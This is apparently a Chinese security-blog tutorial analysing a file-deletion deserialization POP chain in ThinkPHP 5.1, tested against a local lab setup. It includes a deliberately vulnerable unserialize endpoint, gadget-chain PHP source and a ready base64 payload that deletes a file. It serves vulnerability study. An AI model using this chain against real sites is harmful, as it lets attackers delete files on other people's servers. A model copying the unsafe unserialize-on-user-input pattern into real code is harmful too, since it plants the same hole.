点击上方蓝字·关注我们
免责声明
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。谢谢!
框架介绍
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式
环境搭建
我这里采用phpstudy搭建,配置网站根目录指向public目录下
创建后,访问网站
出现thinkphp的经典界面就搭建成功了
漏洞挖掘
由于是反序列化漏洞,我们要先写一个漏洞触发点
public function caigo()
{
unserialize(base64_decode($_GET['id']));
return "Wecome!";
}
由于是第一篇框架反序列化分析,这里讲一些反序列化的基础知识,之后的POP分析文章中就不会提到了
当我们挖反序列化漏洞的时候,分为三部分:
-
反序列化常用起点
__wakeup 一定会调用
__destruct 一定会调用
__toString 当一个对象被反序列后又被当字符串使用
-
反序列化的常见中间跳板
__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set:当访问不可访问或不存在属性赋值时调用
-
反序列化的常见终点
__call()调用不可访问或不存在的方法时被调用
call_user_func() 一般PHP代码执行会选择这里
call_user_func_array 一般PHP代码执行会选择这里
第一部分就不用多说了,除了__toString就是只要有反序列化操作就会触发的,第二部分就是如果在第一部分中找不到利用的点就会查看第二部分进行中转寻找触发点,第三部分就是在最后执行一些危险函数。
一条反序列化pop链可能只有1.3部分,也可能有1,2,3
按照这个思路,我们全局搜索__destruct(
通过筛选定位到thinkphp/library/think/process/pipes/Windows.php中的一处代码段
public function __destruct()
{
$this->close();
$this->removeFiles();
}
我们转到removeFiles()的声明
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
发现危险函数unlike,$filename是由files控制,我们转到files的声明
发现一个Windows类,$files的值我们可控,那我们的完整的反序列化流程就清楚了,构造pop链
namespace thinkprocesspipes;
use thinkProcess;
//路由声明
class Pipes{}
//由于Windows类是继承Pipes所以要创建一个
class Windows extends Pipes
{
/** @var array */
private $files = ['d:\caigocaigo8.txt'];
//漏洞控制点,files的值就是后面传入unlike中的$filename
}
$a = new Windows();
//实例化Windiws类
echo base64_encode((serialize($a)));
//序列化对象,加上base64编码,因为我触发反序列化的代码段有base解码
生成好的POP链
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjE5OiJkOlxjYWlnb1xjYWlnbzgudHh0Ijt9fQ==
我们直接传入POC测试
文件成功删除
最后
原文始发于微信公众号(菜狗安全):ThinkPHP5.1.*反序列化文件删除POP分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论